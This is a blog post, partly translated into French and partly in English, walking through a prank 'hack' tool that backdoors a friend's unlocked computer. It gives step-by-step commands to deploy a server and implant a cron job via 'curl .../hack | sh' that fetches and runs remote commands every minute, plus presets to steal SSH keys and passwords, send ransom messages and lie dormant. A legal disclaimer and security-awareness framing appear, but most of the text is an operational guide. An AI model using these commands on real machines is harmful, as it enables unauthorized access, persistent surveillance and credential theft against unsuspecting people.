Comment pirater vos amis

Mes amis laissent souvent leur ordinateur ouvert et déverrouillé. Je leur dis qu'ils devraient probablement prendre l'habitude de verrouiller leur ordinateur, mais ils ne m'écoutent pas. J'ai donc créé un projet simple pour pirater mes amis et leur montrer l'importance de la sécurité informatique.

Tout ce que j'ai à faire est d'attendre qu'ils laissent leur ordinateur déverrouillé pendant quelques secondes, d'ouvrir leur terminal et de taper une seule et courte commande.

C'est ça! Leur ordinateur est maintenant infecté et je peux exécuter toutes les commandes que je veux sur cet ordinateur à distance. Assez gentil, non? Ou peut-être choquant?

Le piratage est illégal. Plus précisément:

«Accéder intentionnellement à un ordinateur sans autorisation ou dépasser [ant] l'accès autorisé» - The Computer Fraud and Abuse Act (18 USC 1030)

Gardez donc à l'esprit que le but de cet article est de vous montrer à quel point il serait facile pour une personne mal intentionnée de vous pirater afin d'éviter de vous faire pirater vous-même.

Il ne faut pas un génie de hacker pour détruire votre vie - tout «script kiddy» qui peut accéder physiquement à votre ordinateur peut vous compromettre en téléchargeant un script contenant seulement 50 lignes de code.

Obtenir la configuration

Tout le code de ce projet se trouve dans ce référentiel si vous souhaitez vous lancer directement, mais je vais vous expliquer comment tout cela fonctionne ci-dessous.

Tout d' abord, il vous suffit de cloner le repo, installer ses dépendances, et le lien symbolique bidouille outil interface de ligne de commande (CLI).

git clone //github.com/ccorcos/hack.gitgit remote remove origincd hacknpm installnpm link

Ensuite, vous devez configurer Heroku pour héberger les scripts qui seront exécutés sur la machine de vos amis. Si vous n'avez jamais utilisé Heroku auparavant, inscrivez-vous ici (c'est gratuit!) Et configurez leur outil CLI sur votre machine.

brew install heroku-toolbeltheroku login

Maintenant, dans le hack repo, créez une application Heroku avec un nom facile à retenir. J'utilise hacker-chet.

heroku create hacker-chet

Ensuite, vous devez exécuter une commande pour effectuer une petite configuration. Tout ce qu'il fait est d'obtenir l'URL racine de votre site Web Heroku et de la mettre dans votre package.json . De cette façon, le serveur peut injecter l'URL de l'application dans les scripts shell.

npm run init

Vous pouvez démarrer le serveur localement si vous souhaitez vous pirater et tester les choses.

npm start

Ou vous pouvez déployer sur Heroku.

npm run deploy

Vous êtes maintenant prêt à pirater!

API de piratage

La beauté de ce programme est que pour commencer à pirater quelqu'un, il vous suffit d'exécuter une seule commande sur sa machine.

curl /hack | sh

ROOT_URL est le chemin d'accès spécifique à votre application. Lorsque vous exécutez le serveur localement, ce sera localhost: 5000 et lorsque vous déployez sur Heroku, ce sera quelque chose comme .herokua pp.com.

Cela configure un travail cron - un "travail chronologique" qui réexécute des tâches à certains moments - pour envoyer un ping au point de terminaison / env / live toutes les minutes et redirige le résultat vers sh . C'est en fait assez simple! Et Heroku vous donne HTTPS gratuitement, donc c'est «sécurisé», non?

Une fois que vous avez piraté votre ami, vous pouvez faire tout le reste avec l'outil de ligne de commande depuis votre ordinateur.

L' outil de piratage a un concept de différents environnements piratés. Lorsque vous piratez quelqu'un en utilisant le point de terminaison / hack , cette personne commence dans l' environnement en direct . Et pour chaque environnement, vous pouvez exécuter une variété de commandes différentes. Je vais tout démontrer avec une petite procédure pas à pas.

Ce qui suit va réécrire le script shell de l'environnement en direct pour exécuter la commande suivante qui dira à haute voix «Je vous regarde».

hack live exec "say 'I\'m watching you'"

Eh bien, cela ne fonctionnera pas encore, vous devez toujours redéployer votre application Heroku.

hack deploy

Attendez maintenant la minute suivante et regardez l'ordinateur de votre ami envoyer un ping à votre serveur en suivant les journaux du serveur.

hack logs

L'intérêt des environnements est que vous pouvez pirater plusieurs personnes en même temps. Pour isoler les gens dans différents environnements, il vous suffit de changer le nom.

hack live rename jon

La prochaine fois que l'environnement en direct sera ping, il réécrira le travail cron pour commencer à envoyer un ping à l' environnement jon à la place.

Vous pouvez tout faire de la même manière en modifiant simplement l'argument d'environnement.

hack jon exec "say 'hello jon'"

Maintenant, si vous vous êtes suffisamment amusé pour la journée et que la fête est finie, vous pouvez oublier Jon et lui assurer que vous l'avez «dégagé».

hack jon forget

Cela effacera le travail cron de leur ordinateur. Ou vous voudrez peut-être simplement mettre cet environnement en mode cellule dormante pour pouvoir le récupérer plus tard.

hack jon interval 1d

Now, rather than pinging your server every minute (the default), it will ping every day at midnight. And when you want to wake it back up, you can change the interval back to every minute and the next day, you’re good to go!

hack jon interval 1m

Some other fun things to do are setting up additional cron jobs. Here’s how you can wake your friend up at 6am every morning to remind him about computer security.

hack jon cron "0 6 * * * say 'good morning jon, remember what I told you about locking your computer?'"

P.S. If you don’t remember how cron jobs work, this is a great resource. It pretty much all comes down to this little diagram.

* * * * *| | | | || | | | || | | | +---- Day of the Week (range: 1-7, 1 standing for Monday)| | | +------ Month of the Year (range: 1-12)| | +-------- Day of the Month (range: 1-31)| +---------- Hour (range: 0-23)+------------ Minute (range: 0-59)

One of my favorites is the desktop preset which will download an image from a given URL and set it as the background photo.

hack jon preset desktop //i.imgur.com/5FC2r9R.jpg

And if you’ve written a ton of cron jobs and you don’t know what’s on there anymore, you can use the dump command.

hack jon dump "crontab -l"

Now whip open your logs and you’ll see the output on the next ping. This is actually much more sinister now that you can get information back. If you wanted to be more nefarious, you can search for decrypted passwords or steal their ssh keys.

hack jon preset passwordshack jon preset ssh

But if you just want to give him a good old-fashioned scare, send him a ransom message!

hack jon preset ransom "Hello Jon, I told you not to leave your computer unlocked."

Lastly, if you find yourself adding a bunch of cron jobs and just want to start over, reset is here to help.

hack jon reset

Now go have (responsible) fun with this thing and let me know what your favorite pranks are by submitting a pull request with a new command or preset!

Happy Hacking!